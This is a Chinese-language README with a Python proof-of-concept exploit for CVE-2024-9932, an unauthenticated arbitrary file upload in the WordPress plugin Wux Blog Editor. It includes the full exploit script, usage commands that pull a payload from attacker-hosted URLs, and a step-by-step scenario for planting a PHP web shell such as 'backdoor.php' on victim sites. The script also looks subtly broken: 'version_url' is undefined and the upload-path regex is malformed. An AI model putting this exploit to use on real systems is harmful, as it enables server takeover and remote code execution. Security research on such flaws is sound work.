Wux Blog Editor 任意文件上传漏洞利用工具 (CVE-2024-9932)
这是一个专为 WordPress 插件 Wux Blog Editor 设计的安全概念验证(PoC)脚本。该插件在 3.0.0 版本及之前存在一个严重漏洞——未经身份验证的攻击者可以绕过文件类型验证,上传任意文件到服务器,进而有可能实现远程代码执行(RCE)。简单来说,就是攻击者能直接往目标网站里塞任何东西,危险性不言而喻。

功能特性
- 任意文件上传:利用
wuxbt_insertImageNew函数中不充分的文件类型验证,上传任意远程文件。 - 远程代码执行:支持上传包含恶意代码(如 PHP Shell)的文件,实现远程命令执行。
- 自定义文件名:可指定上传后的文件名,便于访问和利用。
- 教育用途:帮助安全研究人员理解漏洞原理,测试自身环境安全性。
安装指南
系统要求
- Python 3.6 或更高版本
requests库
安装步骤
- 克隆项目:
git clone https://github.com/your-repo/CVE-2024-9932-POC.git cd CVE-2024-9932-POC - 安装依赖:
pip install requests - 验证安装:
如果看到帮助信息,说明已经准备就绪。python CVE-2024-9932.py -h
使用说明
基本语法
python CVE-2024-9932.py -u <目标URL> -ur <远程文件URL> [-n <目标文件名>]
参数说明
| 参数 | 简写 | 必填 | 描述 |
|---|---|---|---|
--url | -u | 是 | WordPress 目标站点的基础 URL(例如 https://example.com/wordpress) |
--remote-url | -ur | 是 | 包含恶意内容的远程文件 URL(例如 https://attacker.com/shell.txt) |
--name | -n | 否 | 上传后保存的文件名(例如 shell.php),默认为 shell.php |
使用示例
示例1:上传默认名称的 PHP Shell
python CVE-2024-9932.py -u https://192.168.100.74/wordpress -ur https://192.168.100.54/shell.txt
示例2:自定义上传文件名
python CVE-2024-9932.py -u https://victim-site.com/wordpress -ur https://malicious.com/payload.txt -n backdoor.php
典型攻击场景
- 信息收集:使用
-u参数识别目标 WordPress 站点的插件版本。 - 准备载荷:在公网或本地服务器上托管包含 PHP 恶意代码的文本文件(如
shell.txt)。 - 发起攻击:执行上述命令,将载荷上传至目标服务器的
wp-content/uploads/年/月/目录。 - 获得权限:访问返回的文件 URL(例如
https://victim.com/wordpress/wp-content/uploads/2025/01/shell.php)即可执行命令。
成功输出示例
[+] File found: https://192.168.100.74/wordpress/wp-content/uploads/2025/01/shell.php
核心代码
漏洞利用主脚本 (CVE-2024-9932.py)
import argparse
import requests
import sys
def banner():
print("""...""") # 略去ASCII艺术图
def check_version(base_url):
"""检测插件版本"""
try:
response = requests.get(version_url)
if response.status_code == 200:
for line in response.text.splitlines():
if line.startswith("Stable tag:"):
version = line.split(":")[1].strip()
print(f"[+] Detected Wux Blog Editor version: {version}")
return version
print("[-] Could not determine plugin version. Target may be not vulnerable.")
return None
except Exception as e:
print(f"[-] Version check failed: {e}")
return None
def exploit(target_url, remote_file_url, file_name):
"""执行漏洞利用:上传远程文件至目标服务器"""
upload_endpoint = f"{target_url}/wp-admin/admin-ajax.php"
files = {
'action': (None, 'wuxbt_insertImageNew'),
'file': (file_name, requests.get(remote_file_url).content, 'image/jpeg')
}
try:
response = requests.post(upload_endpoint, files=files)
if response.status_code == 200:
if "wp-content/uploads" in response.text:
import re
match = re.search(r'(wp-content/uploads/[^s"']+.php)', response.text)
if match:
full_url = f"{target_url}/{match.group(1)}"
print(f"[+] File found: {full_url}")
else:
print("[+] File uploaded successfully, but URL could not be extracted automatically.")
else:
print("[-] Upload may ha ve failed. Response does not indicate success.")
else:
print(f"[-] Upload failed with HTTP status {response.status_code}")
except Exception as e:
print(f"[-] Exploit failed: {e}")
def main():
banner()
parser = argparse.ArgumentParser(description="Wux Blog Editor - Arbitrary File Upload")
parser.add_argument("-u", "--url", required=True, help="Base URL of the WordPress server")
parser.add_argument("-ur", "--remote-url", required=True, help="Remote file URL")
parser.add_argument("-n", "--name", default="shell.php", help="Desired file name")
args = parser.parse_args()
version = check_version(args.url)
if version and version <= "3.0.0":
print("[+] Target appears vulnerable. Proceeding with exploit...")
exploit(args.url, args.remote_url, args.name)
else:
print("[-] Target does not seem vulnerable or version check failed.")
sys.exit(1)
if __name__ == "__main__":
main()
漏洞原理说明
这个漏洞的根源在于插件中 wuxbt_insertImageNew 函数对上传文件的 MIME 类型检查不够严格。攻击者可以这样做:
- 将恶意 PHP 代码伪装成合法的图片 MIME 类型(比如
image/jpeg)。 - 通过
admin-ajax.php端点触发文件上传功能。 - 服务器只检查了 MIME 类型,却没有验证文件的真实内容,于是 PHP 文件就被顺利保存了下来。
- 上传的文件被存放在
/wp-content/uploads/年/月/目录下,攻击者可以直接通过 HTTP 访问并执行它。
⚠️ 免责声明
本工具仅用于教育目的和安全研究。未经系统所有者明确授权,使用此脚本攻击任何系统均属违法行为。使用者需自行承担一切法律责任。
